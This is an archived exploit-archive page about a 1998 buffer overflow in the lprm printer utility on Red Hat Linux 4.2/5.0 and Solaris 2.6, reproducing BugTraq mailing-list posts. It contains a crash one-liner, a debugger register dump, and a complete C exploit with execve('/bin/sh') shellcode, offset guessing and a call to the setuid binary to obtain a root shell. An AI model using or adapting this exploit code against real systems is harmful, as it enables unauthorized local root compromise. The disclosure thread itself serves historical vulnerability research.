lprm Linux/BSD/Solaris Overflow

Summary
Description:The lprm program on some machines has a standard overflow in the name you feed it to remove a job from a remote printer
Author:Chris Evans <chris@FERRET.LMH.OX.AC.UK> posted this problem to BugTraq, it turns out the the OpenBSD folks (probably Theo De Raadt) fixed the problem in 1996.
Compromise: root (local)
Vulnerable Systems:RedHat Linux 4.2 and 5.0, Solaris 2.6, Some *BSD variants vulnerable, but most fixed it 6 months to two years prior to this notice
Date:18 April 1998
Details


Date: Sat, 18 Apr 1998 15:42:11 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
To: BUGTRAQ@NETSPACE.ORG
Subject: Nasty security hole in "lprm"

Hi,

I've found a local->root compromise in the lprm program, as shipped
RedHat4.2 and RedHat5.0. Other systems untested.

There is a prerequisite to exploiting this, that a remote printer be
defined (rm field).

If trying to remove entries from a remote queue, the args given are
basically strcat()'ed into a static buffer.

Thus:

lprm -Psome_remote `perl -e 'print "a" x 2000'`
Segmentation fault

gdb confirms the program is attempting to execute code at 0x41414141

Other potential problems include assumptions about host name max lengths,
dubious /etc/printcap parsing (but it seems user defined printcap files
are not allowed). There is also a blatant strcpy(buf, getenv("something"))
but luckily it is #ifdef'ed out. File/filename handling looks iffy at
times too.

It is scary that this was found in a mere 5 mins of auditing. I sincerely
beleieve the BSD line printer system has no place on a secure system. When
I get more time I might well look for other problems; I would not be
surprised to find some. The lpr package is in need of an audit. If the
great folks at OpenBSD have already done this, maybe others should nab
their source code :-)

Cheers
Chris
Date: Mon, 20 Apr 1998 11:23:11 +0200
From: Gian Uberto Lauri <saint@dei.unipd.it>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Nasty security hole in "lprm"

>>>>> "CE" == Chris Evans <chris@FERRET.LMH.OX.AC.UK> writes:

CE> If trying to remove entries from a remote queue, the args given
CE> are basically strcat()'ed into a static buffer.

CE> Thus:

CE> lprm -Psome_remote `perl -e 'print "a" x 2000'` Segmentation fault

CE> gdb confirms the program is attempting to execute code at
CE> 0x41414141

Confirmed. Solaris 2.6 has the same problem.

/usr/ucb/lprm is a symlink to /usr/bin/cancel that is setyid root

/*
 * Please note : comandi is a file containing the command to start
 * cancel with the 2000 'a' passed as parameter.
 */

{betty} 11:09:44
[15]/tmp:adb -P"Pollo:" -I /tmp ./cancel
Pollo:$<comandi
Pollo:SIGSEGV: Segmentation Fault (address not mapped   to object)
stopped at:
0xef6fe9b8:     ldsb    [%o1], %o5
Pollo:$r
g0    0x0                               l0      0xeffff79c
g1    0xef7459f4                        l1      0x63940
g2    0x3f57d                           l2      0xef6fe93c
g3    0x3e17c                           l3      0x0
g4    0x3e164                           l4      0x80
g5    0x0                               l5      0x80
g6    0x0                               l6      0x7
g7    0x0                               l7      0xfc09ab80
o0    0xef74fbec                        i0      0xef74fbec
o1    0x61616161                        i1      0x370ec
o2    0x0                               i2      0xef76227c
o3    0x0                               i3      0x0
o4    0xef76227c                        i4      0xeffff79c
o5    0xef6fe954                        i5      0xef7fd8b4  _end+0x878
sp    0xefffe378                        fp      0xefffe3d8
o7    0xef6fe980                        i7      0xef6dba68
y     0x0
psr   0x4001084
pc    0xef6fe9b8 0xef6fe9b8:    ldsb    [%o1], %o5
npc   0xef6fe9bc 0xef6fe9bc:    ldsb    [%o0], %g1

Solaris 2.5.5.1 has not the problem.

                                        Gian Uberto Lauri
                                        saint@dei.unipd.it
Date: Mon, 20 Apr 1998 14:29:07 -0400
From: Seth McGann <smm@WPI.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Nasty security hole in "lprm"

At 15:49 4/18/98 +0100, you wrote:
>Hi,
>
>Sorry to follow up on my own post about lprm, but...
>
>...yes OpenBSD fixed it long ago.
>
>I'll bet there are other lpr subsystem bugs they fixed too, that we should
>all care about :)

Here is an exploit, for demonstration purposes only...



  [Part 2, Application/OCTET-STREAM (Name: "lprm.c.gz")  1.2KB]
  [Unable to print this part]


  [ Part 3: "Attached Text" ]


Seth M. McGann / smm@wpi.edu        "Security is making it
http://www.wpi.edu/~smm              to the bathroom in time."
KeyID: 1024/2048/177B6415
Fingerprint 5E87 5E5C 8FD9 1FFB 7836  C590 BA81 C796 177B 6415/* lprm.c 
*
* Exploit for the bug discovered by Chris Evans in Linux lprm.
* Description: /usr/bin/lprm does inadequate bounds checking
* on its command line arguments. Classic overflow, though I 
* was unable to massage Aleph One's generic exploit enough 
* to make it work. Here is a modification of the source provided 
* in Willy Tarreau's excellent paper on linux stack smashing. 
* The offset will be very high for some reason, so don't be alarmed.
* This was tested with Redhat 4.2.  This will only work with a 
* remote printer defined in /etc/printcap.  Remember to change 
* the PRINTER define accordingly.
* This bug has been fixed in OpenBSD, you can rip the fix from them.
* Seth McGann <smm@wpi.edu>
*/

#include <stdio.h>
#define PRINTER "-Pwhatever"


static inline getesp() {
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv) {
  int i,j,buffer,offset;
  long unsigned esp;
  char unsigned buf[4096];

  unsigned char
  shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c" 
             "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";

  buffer=990;
  offset=3000;
 
  if (argc>1)buffer=atoi(argv[1]);   
  if (argc>2)offset=atoi(argv[2]);   


  for (i=0;i<buffer;i++)
     buf[i]=0x41;  /* inc ecx */

  j=0;

  for (i=buffer;i<buffer+strlen(shellcode);i++)
      buf[i]=shellcode[j++];

  esp=getesp()+offset;

  buf[i]=esp & 0xFF;
  buf[i+1]=(esp >> 8) & 0xFF;
  buf[i+2]=(esp >> 16) & 0xFF;
  buf[i+3]=(esp >> 24) & 0xFF;

  buf[i+4]=esp & 0xFF; 
  buf[i+5]=(esp >> 8) & 0xFF;
  buf[i+6]=(esp >> 16) & 0xFF;
  buf[i+7]=(esp >> 24) & 0xFF;

  printf("Offset: 0x%x\n\n",esp);

  execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}


More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: